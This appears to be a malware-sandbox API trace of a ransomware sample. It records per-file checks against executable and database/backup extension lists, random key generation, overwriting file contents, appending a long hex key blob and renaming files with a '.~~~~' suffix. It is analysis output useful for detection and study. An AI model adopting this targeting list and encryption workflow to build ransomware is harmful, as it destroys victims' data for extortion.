	[0143.738] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.738] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.739] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26372884700) returned 1
	[0143.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf149830, dwHighDateTime=0x1d60e1e)) 
	[0143.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd690
	[0143.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd690 | out: hHeap=0x300000) returned 1
	[0143.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aba98
	[0143.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aba98 | out: hHeap=0x300000) returned 1
	[0143.740] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.740] GetLastError () returned 0x0
	[0143.741] GetLastError () returned 0x0
	[0143.741] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.741] GetLastError () returned 0x0
	[0143.741] GetLastError () returned 0x0
	[0143.741] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x5fdf, lpOverlapped=0x0) returned 1
	[0143.751] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffa021, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.752] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x5fdf, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x5fdf, lpOverlapped=0x0) returned 1
	[0143.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0143.752] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.752] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.752] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.752] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.752] CloseHandle (hObject=0x104) returned 1
	[0143.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab7f8
	[0143.753] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif.~~~~")) returned 1
	[0143.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab7f8 | out: hHeap=0x300000) returned 1
	[0143.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.756] GetLastError () returned 0x0
	[0143.757] RtlWakeConditionVariable () returned 0x0
	[0143.757] GetCurrentThreadId () returned 0xaf0
	[0143.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".scr") returned 0x0
	[0143.757] lstrlenW (lpString=".cmd") returned 4
	[0143.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".cmd") returned 0x0
	[0143.757] lstrlenW (lpString=".dll") returned 4
	[0143.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".dll") returned 0x0
	[0143.757] lstrlenW (lpString=".bat") returned 4
	[0143.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".bat") returned 0x0
	[0143.757] lstrlenW (lpString=".cpl") returned 4
	[0143.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".cpl") returned 0x0
	[0143.757] lstrlenW (lpString=".sys") returned 4
	[0143.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".sys") returned 0x0
	[0143.757] lstrlenW (lpString=".msc") returned 4
	[0143.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".msc") returned 0x0
	[0143.757] lstrlenW (lpString=".com") returned 4
	[0143.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".com") returned 0x0
	[0143.758] lstrlenW (lpString=".lnk") returned 4
	[0143.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".lnk") returned 0x0
	[0143.758] lstrlenW (lpString=".msp") returned 4
	[0143.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".msp") returned 0x0
	[0143.758] lstrlenW (lpString=".pif") returned 4
	[0143.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".pif") returned 0x0
	[0143.758] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.760] lstrlenW (lpString=".sqb") returned 4
	[0143.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".sqb") returned 0x0
	[0143.760] lstrlenW (lpString=".ost") returned 4
	[0143.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".ost") returned 0x0
	[0143.760] lstrlenW (lpString=".txt") returned 4
	[0143.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".txt") returned 0x0
	[0143.760] lstrlenW (lpString=".mdt") returned 4
	[0143.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".mdt") returned 0x0
	[0143.760] lstrlenW (lpString=".BDB") returned 4
	[0143.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".BDB") returned 0x0
	[0143.761] lstrlenW (lpString=".eql") returned 4
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".eql") returned 0x0
	[0143.761] lstrlenW (lpString=".DBF") returned 4
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DBF") returned 0x0
	[0143.761] lstrlenW (lpString=".EQL") returned 4
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".EQL") returned 0x0
	[0143.761] lstrlenW (lpString=".FDB") returned 4
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".FDB") returned 0x0
	[0143.761] lstrlenW (lpString=".EDB") returned 4
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".EDB") returned 0x0
	[0143.761] lstrlenW (lpString=".DACPAC") returned 7
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.761] lstrlenW (lpString=".VHD") returned 4
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".VHD") returned 0x0
	[0143.761] lstrlenW (lpString=".DBV") returned 4
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DBV") returned 0x0
	[0143.761] lstrlenW (lpString=".dacpac") returned 7
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.761] lstrlenW (lpString=".sdf") returned 4
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".sdf") returned 0x0
	[0143.761] lstrlenW (lpString=".accdb") returned 6
	[0143.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".accdb") returned 0x0
	[0143.761] lstrlenW (lpString=".DBX") returned 4
	[0143.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DBX") returned 0x0
	[0143.762] lstrlenW (lpString=".MDT") returned 4
	[0143.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".MDT") returned 0x0
	[0143.762] lstrlenW (lpString=".SQB") returned 4
	[0143.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".SQB") returned 0x0
	[0143.762] lstrlenW (lpString=".vhd") returned 4
	[0143.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".vhd") returned 0x0
	[0143.762] lstrlenW (lpString=".bac") returned 4
	[0143.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".bac") returned 0x0
	[0143.762] lstrlenW (lpString=".mdf") returned 4
	[0143.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".mdf") returned 0x0
	[0143.762] lstrlenW (lpString=".BAK") returned 4
	[0143.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".BAK") returned 0x0
	[0143.762] lstrlenW (lpString=".BAC") returned 4
	[0143.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".BAC") returned 0x0
	[0143.762] lstrlenW (lpString=".dbs") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".dbs") returned 0x0
	[0143.763] lstrlenW (lpString=".vhdx") returned 5
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.763] lstrlenW (lpString=".NDF") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".NDF") returned 0x0
	[0143.763] lstrlenW (lpString=".dat") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".dat") returned 0x0
	[0143.763] lstrlenW (lpString=".DBS") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DBS") returned 0x0
	[0143.763] lstrlenW (lpString=".CKP") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".CKP") returned 0x0
	[0143.763] lstrlenW (lpString=".edb") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".edb") returned 0x0
	[0143.763] lstrlenW (lpString=".PST") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".PST") returned 0x0
	[0143.763] lstrlenW (lpString=".dbf") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".dbf") returned 0x0
	[0143.763] lstrlenW (lpString=".SQL") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".SQL") returned 0x0
	[0143.763] lstrlenW (lpString=".pst") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".pst") returned 0x0
	[0143.763] lstrlenW (lpString=".dbv") returned 4
	[0143.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".dbv") returned 0x0
	[0143.764] lstrlenW (lpString=".SDF") returned 4
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".SDF") returned 0x0
	[0143.764] lstrlenW (lpString=".dtxs") returned 5
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.764] lstrlenW (lpString=".db3") returned 4
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".db3") returned 0x0
	[0143.764] lstrlenW (lpString=".OST") returned 4
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".OST") returned 0x0
	[0143.764] lstrlenW (lpString=".dbx") returned 4
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".dbx") returned 0x0
	[0143.764] lstrlenW (lpString=".DB3") returned 4
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DB3") returned 0x0
	[0143.764] lstrlenW (lpString=".DAT") returned 4
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DAT") returned 0x0
	[0143.764] lstrlenW (lpString=".VHDX") returned 5
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.764] lstrlenW (lpString=".ndf") returned 4
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".ndf") returned 0x0
	[0143.764] lstrlenW (lpString=".DB") returned 3
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DB") returned 0x0
	[0143.764] lstrlenW (lpString=".sql") returned 4
	[0143.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".sql") returned 0x0
	[0143.765] lstrlenW (lpString=".MYD") returned 4
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".MYD") returned 0x0
	[0143.765] lstrlenW (lpString=".DBT") returned 4
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DBT") returned 0x0
	[0143.765] lstrlenW (lpString=".ACCDB") returned 6
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.765] lstrlenW (lpString=".fdb") returned 4
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".fdb") returned 0x0
	[0143.765] lstrlenW (lpString=".bak") returned 4
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".bak") returned 0x0
	[0143.765] lstrlenW (lpString=".myd") returned 4
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".myd") returned 0x0
	[0143.765] lstrlenW (lpString=".DTXS") returned 5
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.765] lstrlenW (lpString=".ckp") returned 4
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".ckp") returned 0x0
	[0143.765] lstrlenW (lpString=".dbt") returned 4
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".dbt") returned 0x0
	[0143.765] lstrlenW (lpString=".db") returned 3
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".db") returned 0x0
	[0143.765] lstrlenW (lpString=".TXT") returned 4
	[0143.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".TXT") returned 0x0
	[0143.766] lstrlenW (lpString=".MDF") returned 4
	[0143.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".MDF") returned 0x0
	[0143.766] lstrlenW (lpString=".bdb") returned 4
	[0143.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".bdb") returned 0x0
	[0143.766] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.766] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0143.767] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.767] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.768] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26375781161) returned 1
	[0143.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf195af0, dwHighDateTime=0x1d60e1e)) 
	[0143.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd428
	[0143.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd428 | out: hHeap=0x300000) returned 1
	[0143.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28abe88
	[0143.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28abe88 | out: hHeap=0x300000) returned 1
	[0143.769] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.769] GetLastError () returned 0x0
	[0143.769] GetLastError () returned 0x0
	[0143.770] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.770] GetLastError () returned 0x0
	[0143.770] GetLastError () returned 0x0
	[0143.770] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x2d54, lpOverlapped=0x0) returned 1
	[0143.773] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffd2ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.773] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2d54, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2d54, lpOverlapped=0x0) returned 1
	[0143.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.773] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.773] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
